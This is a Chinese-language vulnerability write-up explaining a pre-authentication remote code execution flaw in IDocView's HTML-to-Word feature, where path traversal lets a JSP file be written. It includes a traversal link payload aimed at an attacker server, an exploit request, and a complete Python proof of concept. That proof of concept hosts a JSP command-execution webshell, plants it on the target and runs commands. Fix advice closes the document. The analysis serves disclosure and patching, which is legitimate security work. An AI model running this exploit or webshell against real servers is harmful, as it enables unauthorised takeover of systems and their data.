IDocView前台远程代码执行漏洞分析
字数 1249 2025-08-10 08:28:35
IDocView前台远程代码执行漏洞分析教学文档
漏洞概述
IDocView系统存在一个前台远程代码执行漏洞,攻击者可以通过精心构造的请求实现任意文件上传,最终导致远程代码执行。该漏洞存在于HTML转Word功能中,由于对远程文件下载和路径处理的缺陷导致。
影响范围
- 受影响版本:iDocView < 13.10.1_20231115
- 系统架构:Tomcat+Spring-Mvc部署在Windows环境中
漏洞原理
漏洞利用链由以下几个关键点组成:
- 未授权访问:系统对upload和download接口的身份验证被关闭(
thdViewCheckSwitch=false) - 远程文件下载:系统会下载用户提供的URL内容并解析其中的资源链接
- 路径过滤缺陷:解析下载资源时存在路径遍历漏洞,允许写入任意目录
- JSP文件上传:过滤机制遗漏了对JSP文件的检查
技术细节分析
漏洞入口
/html/2word接口对应的处理函数为com.idocv.docview.controller.HtmlController#toWord,其主要流程:
- 计算URL的MD5值作为子目录名
- 检查子目录是否存在,不存在则下载URL资源
- 检查是否存在
md5Url + ".docx"文件 - 不存在则通过
pandoc.exe生成Word文件 - 返回生成的Word文件
关键函数分析
com.idocv.docview.util.GrabWebPageUtil#downloadHtml函数负责下载和解析网页内容:
-
第一次调用
getWebPage下载原始URL内容- 设置了请求头
- 下载内容后写入
index.html(文件名固定) - 过滤了ASP、ASPX、PHP等扩展名,但遗漏了JSP
-
解析HTML内容中的资源链接(img、link、script标签)
- 解析出的链接加入
GrabUtility.filesToGrab - 对这些资源进行二次下载
- 解析出的链接加入
-
二次下载时路径处理存在缺陷
- 如果URL路径包含
../可导致目录穿越 - 文件名取自URL最后一个
/后的部分
- 如果URL路径包含
漏洞利用步骤
-
准备恶意HTML文件(links.html)包含精心构造的资源链接:
<link href="http://attacker-server/..\..\..\..\docview\WEB-INF\views\404.jsp"> -
向目标发送请求触发漏洞:
POST /docview/html/2word url=http://attacker-server/links.html -
目标服务器会:
- 下载links.html
- 解析其中的link标签
- 尝试下载
404.jsp并保存到WEB-INF/views目录
-
攻击者控制的服务端返回JSP webshell内容
-
访问任意不存在的路由触发404页面,执行webshell
漏洞验证POC
import random
import threading
import time
import requests
from flask import Flask, request
app = Flask(__name__)
raw_404_page = "404 Page Text"
jsp_webshell = """
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<%=output %>"""
@app.route('/<path:path>')
def serve_content(path):
if "jsp" in request.url:
return raw_404_page + jsp_webshell
elif "links" in request.url:
return """<link href="http://127.0.0.1:5050/..\\..\\..\\..\\docview\\WEB-INF\\views\\404.jsp">"""
else:
return 'who are you???'
def exp(host):
time.sleep(5)
url = host + '/html/2word'
r = requests.post(url,
data={
"url": f"http://127.0.0.1:5050/links.html_{random.Random().randint(0, 1000000)}"
})
print(r.status_code)
print(r.text)
requests.get(host+"/xxx?cmd=calc")
if __name__ == '__main__':
threading.Thread(target=exp,args=("http://target-ip:8080/docview",)).start()
app.run(port=5050, debug=True, host='0.0.0.0')
修复建议
- 对
html/2word接口添加身份验证 - 完善文件下载过滤机制,增加对JSP文件的检查
- 对下载路径进行规范化处理,防止目录遍历
- 更新到最新版本(13.10.1_20231115或更高)
总结
该漏洞利用IDocView系统HTML转Word功能中的多个安全缺陷,通过精心构造的请求实现远程代码执行。漏洞利用链完整,危害性高,建议受影响用户及时升级修复。